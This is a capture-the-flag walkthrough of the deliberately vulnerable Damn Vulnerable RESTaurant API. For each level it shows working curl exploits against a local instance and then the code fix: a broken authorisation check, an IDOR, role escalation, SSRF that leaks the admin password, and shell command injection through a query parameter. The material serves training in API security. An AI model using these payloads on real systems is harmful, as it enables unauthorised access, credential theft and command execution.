Damn Vulnerable RESTaurant is an intentionally insecure web application built for learning and practicing Web API security testing.
Setting it up is simple, just run the following commands and it will start the relevant docker image.
git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
./start_game.sh
The CTF has six different levels which become increasingly more complex.
To get started, you can view the API’s Swagger UI on http://localhost:8091.

Level 0: Information Disclosure
After starting the docker image, you should receive a challenge description for level 1 which is listed below.
I was hired to perform a security assessment of Chef's restaurant.
It looks to be a pretty interesting challenge. The woman who hired me
paid upfront and sent me only URL to the Chef's restaurant API.
I spent a few minutes with the restaurant's API and already found
a vulnerability exposing utilised technology details in the HTTP
response in "/healthcheck" endpoint. HTTP response contained
"X-Powered-By" HTTP header with information what Python and FastAPI
versions are utilised.
I can use these pieces of information to search for exploits
online!
From a security perspective, it's recommended to remove this HTTP
header to not expose technology details to potential attackers
like me.
The /healthcheck endpoint does indeed show server versions in it’s header.

Since it’s best practice to remove server versions from headers, we can patch the app/apis/healthcheck/service.py file to comment out the response.headers line.
from fastapi import APIRouter, Response
router = APIRouter()
@router.get("/healthcheck")
def healthcheck(response: Response):
# response.headers["X-Powered-By"] = "Python 3.10, FastAPI ^0.103.0"
return {"ok": True}
Hit enter in the main window, and it should confirm the vulnerability has been addressed!
Congratulations! You fixed the "Technology Details Exposed Via Http Header" vulnerability!
Click any key to continue...
Level 1: Unrestricted Menu Deletion
We’re provided with the following vulnerability description.
After several minutes with the app, I already found much more
interesting vulnerability!
It looks like Chef forgot to add authorisation checks to "/menu/{id}"
API endpoint and anyone can use DELETE method to delete items
from the menu!
Making a request to the /menu endpoint shows that authentication is required to interact with it.
curl -X 'DELETE' \
'http://localhost:8091/menu/1' \
-H 'accept: */*'
{"detail":"Not authenticated"}
To perform further actions on the web application, we will need to create a new account using the /register endpoint.
curl -X 'POST' \
'http://localhost:8091/register' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"username": "bordergate",
"password": "Password1",
"phone_number": "00000000",
"first_name": "bordergate",
"last_name": "bordergate"
}'
{
"username": "bordergate",
"phone_number": "00000000",
"first_name": "bordergate",
"last_name": "bordergate",
"role": "Customer"
}
Generate a JWT token we can use for subsequent requests using the /token API endpoint.
curl -X 'POST' \
'http://localhost:8091/token' \
-H 'accept: application/json' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=password&username=bordergate&password=Password1&scope=&client_id=string&client_secret=string'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyMzk1ODEzfQ.6Vub9bfFl1Px7UwswC91XmkmAVvR9-ij4j5zK1ux9_g","token_type":"bearer"}
Adding this token to our request shows it’s processed correctly by the back end, since we’re no longer getting an access denied message.
curl -X 'DELETE' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyMzk1ODEzfQ.6Vub9bfFl1Px7UwswC91XmkmAVvR9-ij4j5zK1ux9_g" \
'http://localhost:8091/menu/1' \
-H 'accept: */*'
In addition, submitting a request to /menu shows item 1 no longer exists.
curl -X 'GET' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyMzk1ODEzfQ.6Vub9bfFl1Px7UwswC91XmkmAVvR9-ij4j5zK1ux9_g" \
'http://localhost:8091/menu' \
-H 'accept: */*' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1858 100 1858 0 0 382.4k 0 0
[
{
"id": 2,
"name": "Pollos Chicken Biscuit",
"price": 3.99,
"category": "Pollos Breakfasts",
"description": "Fried chicken filet on a buttered biscuit",
"image_base64": null
},
Modify app/apis/menu/services/delete_menu_item_service.py to ensure that RBAC checks are in place. This line was actually commented out in the file, so just removing the comment ‘#’ will work.
from apis.auth.utils import RolesBasedAuthChecker, get_current_user
from apis.menu import utils
from db.models import User, UserRole
from db.session import get_db
from fastapi import APIRouter, Depends, status
from sqlalchemy.orm import Session
from typing_extensions import Annotated
router = APIRouter()
@router.delete("/menu/{item_id}", status_code=status.HTTP_204_NO_CONTENT)
def delete_menu_item(
item_id: int,
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
auth=Depends(RolesBasedAuthChecker([UserRole.EMPLOYEE, UserRole.CHEF])),
):
utils.delete_menu_item(db, item_id)
Level 2: Unrestricted Profile Update IDOR
We get the following description indicating an Insecure Direct Object Reference (IDOR) vulnerability exists in the /profile endpoint.
Chef would be mad at me for this one...
It's possible to modify any profile's details by providing username
in HTTP request sent to "/profile" endpoint with PUT method.
I could change anyone's phone number and other details so easily!
Issuing a GET request to /profile shows our account details.
curl -X 'GET' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImV4cCI6MTc4MjM5NzI4NH0.c-gnu8eTY3BcJMfD0fly-gPdlyqghL6wzISjPqRXrds" \
'http://localhost:8091/profile' \
-H 'accept: */*'
{"username":"bordergate","phone_number":"00000000","first_name":"bordergate","last_name":"bordergate","role":"Customer"}
Create a second account called “alice” for testing, request a JWT token and then use the token to query the /profile endpoint.
curl -X 'POST' \
'http://localhost:8091/register' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"username": "alice",
"password": "Password1",
"phone_number": "000000001",
"first_name": "alice",
"last_name": "Smith"
}'
{"username":"alice","phone_number":"000000001","first_name":"alice","last_name":"Smith","role":"Customer"}
curl -X 'POST' \
'http://localhost:8091/token' \
-H 'accept: application/json' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=password&username=alice&password=Password1&scope=&client_id=string&client_secret=string'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImV4cCI6MTc4MjM5NzI4NH0.c-gnu8eTY3BcJMfD0fly-gPdlyqghL6wzISjPqRXrds","token_type":"bearer"}
curl -X 'GET' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImV4cCI6MTc4MjM5NzI4NH0.c-gnu8eTY3BcJMfD0fly-gPdlyqghL6wzISjPqRXrds" \
'http://localhost:8091/profile' \
-H 'accept: */*'
{"username":"alice","phone_number":"000000001","first_name":"alice","last_name":"Smith","role":"Customer"}
Use the bordergate account token to make a POST request to the /profile endpoint with new account details. In this instance, we are changing the alice accounts phone number to 666.
curl -X 'PUT' \
'http://localhost:8091/profile' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyMzk1ODEzfQ.6Vub9bfFl1Px7UwswC91XmkmAVvR9-ij4j5zK1ux9_g" \
-d '{
"username": "alice",
"first_name": "alice",
"last_name": "smith",
"phone_number": "666"
}'
{"username":"alice","first_name":"alice","last_name":"smith","phone_number":"666"}
Querying the account details with a GET request to /profile using Alice’s endpoint shows the phone number has changed.
curl -X 'GET' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImV4cCI6MTc4MjM5NzI4NH0.c-gnu8eTY3BcJMfD0fly-gPdlyqghL6wzISjPqRXrds" \
'http://localhost:8091/profile' \
-H 'accept: */*'
{"username":"alice","phone_number":"666","first_name":"alice","last_name":"smith","role":"Customer"}
To address the vulnerability, modify app/apis/auth/services/update_profile_service.py and change the following line so the current username is checked.
# Bordergate
#db_user = get_user_by_username(db, user.username)
db_user = get_user_by_username(db,current_user.username)
Level 3 Privilege Escalation
From the challenge description, it appears the /users/update_role endpoint allows us to change our account type to elevate privileges.
I was able to escalate privileges from customer to employee!
I achieved this via "/users/update_role" API endpoint
just by changing a role.
With this role, I can now access the employee restricted endpoints...
What can I do with these permissions next? :thinking_face:
Making a PUT request to the endpoint allows us to change our own role from a customer to an employee!
curl -X 'PUT' \
'http://localhost:8091/users/update_role' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyNDAxOTQ2fQ.X24SuvyO5NI1z3i1wAKk-S9ibvhH_pOkNdZJr-tqFfg" \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"username": "bordergate",
"role": "Employee"
}'
{"username":"bordergate","role":"Employee"}
To fix this, edit app/apis/users/services/update_user_role_service.py and add role based checking.
@router.put("/users/update_role", response_model=UserRoleUpdate)
async def update_user_role(
user: UserRoleUpdate,
current_user: Annotated[models.User, Depends(get_current_user)],
db: Session = Depends(get_db),
auth = Depends(RolesBasedAuthChecker([models.UserRole.EMPLOYEE, models.UserRole.CHEF]))
):
Level 4: Server Side Request Forgery
We get the following challenge description:
Using employee role, I was able to access more endpoints
and found more vulnerabilities in endpoints restricted to employees.
I found a PUT "/menu" endpoint that allows to create menu items
and set images for these items as employee.
You won't believe but it's possible to set an image via URL.
The image is then downloaded and stored in the database as
base64 encoded format.
I could use this to perform SSRF attack!
I also found a hidden endpoint "/admin/reset-chef-password"
which can be used to reset the password of the Chef user
but it can be accessed only from localhost.
...and I got an idea!
I can use SSRF in "/menu" which will allow me to make requests from
the server, so I can access the "/admin/reset-chef-password" endpoint
and get the new password of the Chef user!
btw. the woman still did not reply on my questions related
to the API. This job looks really weird now. I need to make sure
that she is the owner of this restaurant really quick.
Based on the description, we know there is a parameter vulnerable to an SSRF attack in the /menu endpoint. Since the image_url is the only paramter that takes a URL, we can safetly assume it’s that. In addition, based on description we know requests to http://127.0.0.1:8091/admin/reset-chef-password will issue us with a password for the chef (administrator user).
Issue the PUT request to /menu, then base64 decode the chef user account password.
┌──(kali㉿kali)
└─$ curl -X 'PUT' \
'http://localhost:8091/menu' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib3JkZXJnYXRlIiwiZXhwIjoxNzgyNDAxOTQ2fQ.X24SuvyO5NI1z3i1wAKk-S9ibvhH_pOkNdZJr-tqFfg" \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"name": "pizza",
"price": 2,
"category": "Italian",
"image_url": "http://127.0.0.1:8091/admin/reset-chef-password",
"description": "string"
}'
{"id":15,"name":"pizza","price":2.0,"category":"Italian","description":"string","image_base64":"eyJwYXNzd29yZCI6IjJKeFApQyZwT3JdcCpAQTchQnE3Oi1sYkFeOytrVkNqIn0="}
┌──(kali㉿kali)
└─$ echo -n "eyJwYXNzd29yZCI6IjJKeFApQyZwT3JdcCpAQTchQnE3Oi1sYkFeOytrVkNqIn0=" | base64 -d
{"password":"2JxP)C&pOr]p*@A7!Bq7:-lbA^;+kVCj"}
To address the SSRF vulnerability, you can add some checks into app/apis/menu/utils.py to validate the URL to ensure it does not point to the local server.
import base64
import requests
from apis.menu import schemas
from db.models import MenuItem, OrderItem
from fastapi import HTTPException
import ipaddress
import socket
from urllib.parse import urlparse
#Bordergate SSRF Fix
def is_safe_host(hostname: str) -> bool:
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
return not (
ip_obj.is_private
or ip_obj.is_loopback
or ip_obj.is_link_local
or ip_obj.is_multicast
or ip_obj.is_reserved
)
except Exception:
return False
def _image_url_to_base64(image_url: str):
response = requests.get(image_url, stream=True)
encoded_image = base64.b64encode(response.content).decode()
return encoded_image
def create_menu_item(
db,
menu_item: schemas.MenuItemCreate,
):
menu_item_dict = menu_item.dict()
image_url = menu_item_dict.pop("image_url", None)
db_item = MenuItem(**menu_item_dict)
if image_url:
# Bordergate SSRF Fix
parsed = urlparse(image_url)
if not is_safe_host(parsed.hostname):
raise HTTPException(400, "Forbidden host")
db_item.image_base64 = _image_url_to_base64(image_url)
db.add(db_item)
db.commit()
db.refresh(db_item)
return db_item
def update_menu_item(
db,
item_id: int,
menu_item: schemas.MenuItemCreate,
):
db_item = db.query(MenuItem).filter(MenuItem.id == item_id).first()
if db_item is None:
raise HTTPException(status_code=404, detail="Menu item not found")
menu_item_dict = menu_item.dict()
image_url = menu_item_dict.pop("image_url", None)
for key, value in menu_item_dict.items():
setattr(db_item, key, value)
if image_url:
# Bordergate SSRF Fix
parsed = urlparse(image_url)
if not is_safe_host(parsed.hostname):
raise HTTPException(400, "Forbidden host")
db_item.image_base64 = _image_url_to_base64(image_url)
db.add(db_item)
db.commit()
db.refresh(db_item)
return db_item
Level 5: Remote Code Execution
The final challenge! The /admin/stats/disk endpoint (which requires an administrative user) is vulnerable to a trivial command injection vulnerability.
Previously, I was able to perform SSRF attack to reset
the Chef's password and receive a new password in the response.
I logged in as a Chef and I found that out that he is using
"/admin/stats/disk" endpoint to check the disk usage of the server.
The endpoint used "parameters" query parameter that was utilised
to pass more arguments to the "df" command that was executed on the
server.
By manipulating "parameters", I was able to inject a shell command
executed on the server!
After accessing the server instance, I noticed that
my employer didn't tell me the whole truth who is the owner of this
restaurant's API. I performed some OSINT and found out who is
she... She's the owner of some restaurant but not this one!
I should have validated the identity of this woman. I won't take
any job like this in future!
Using the previously retrieved credentials for the chef user, we can issue ourselves another JWT token.
curl -X 'POST' \
'http://localhost:8091/token' \
-H 'accept: application/json' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=password&username=chef&password=2JxP%29C%26pOr%5Dp%2A%40A7%21Bq7%3A-lbA%5E%3B%2BkVCj&scope=&client_id=string&client_secret=string'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGVmIiwiZXhwIjoxNzgyNDA2MjQ3fQ.S7ubHydnsFOmwvj57D5_nO0BSAQdOltrvsrOO_pvYzU","token_type":"bearer"}
The parameters value is vulnerable to command injection.
curl -X 'GET' \
'http://localhost:8091/admin/stats/disk?parameters=%26id' \
-H 'accept: application/json' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGVmIiwiZXhwIjoxNzgyNDA2MjQ3fQ.S7ubHydnsFOmwvj57D5_nO0BSAQdOltrvsrOO_pvYzU"
{"output":"Filesystem Size Used Avail Use% Mounted on\noverlay 79G 29G 47G 38% /\ntmpfs 64M 0 64M 0% /dev\nshm 64M 0 64M 0% /dev/shm\n/dev/sda1 79G 29G 47G 38% /app\nuid=1000(app) gid=1000(app) groups=1000(app)"}
Modify app/apis/admin/utils.py to prevent command injection.
import subprocess
import shlex
def get_disk_usage(parameters: str):
command = "df -h " + parameters
try:
args = shlex.split(parameters)
#result = subprocess.run(
# command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True
#)
# Bordergate
result = subprocess.run(
["df", "-h", *args],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True,
)
usage = result.stdout.strip()
except:
raise Exception("An unexpected error was observed")
return usage
With the fix in place, we reach the end of the CTF!
Congratulations! Great Work!
You were able to fix all of the vulnerabilities exploited
during the attack!
However, we are aware about other vulnerabilities in the system.
Also, there is one more vulnerability that allows to execute
commands on the server as a root user but you need to find it
on your own :)
If you enjoyed this challenge, please contact the repository owner
and leave the feedback. You can find the contact at devsec-blog.com.
And remember... these vulnerabilities were implemented and provided
to you for learning purposes, don't use this knowledge to attack
services that you don't own or you don't have permissions
to do that.
With great power comes great responsibility.
In Conclusion
Damn Vulnerable RESTaurant demonstrates how small implementation mistakes in API design can lead to critical security vulnerabilities. Across the different levels, we saw how missing or weak security controls can be chained together to escalate from simple information disclosure to full remote code execution.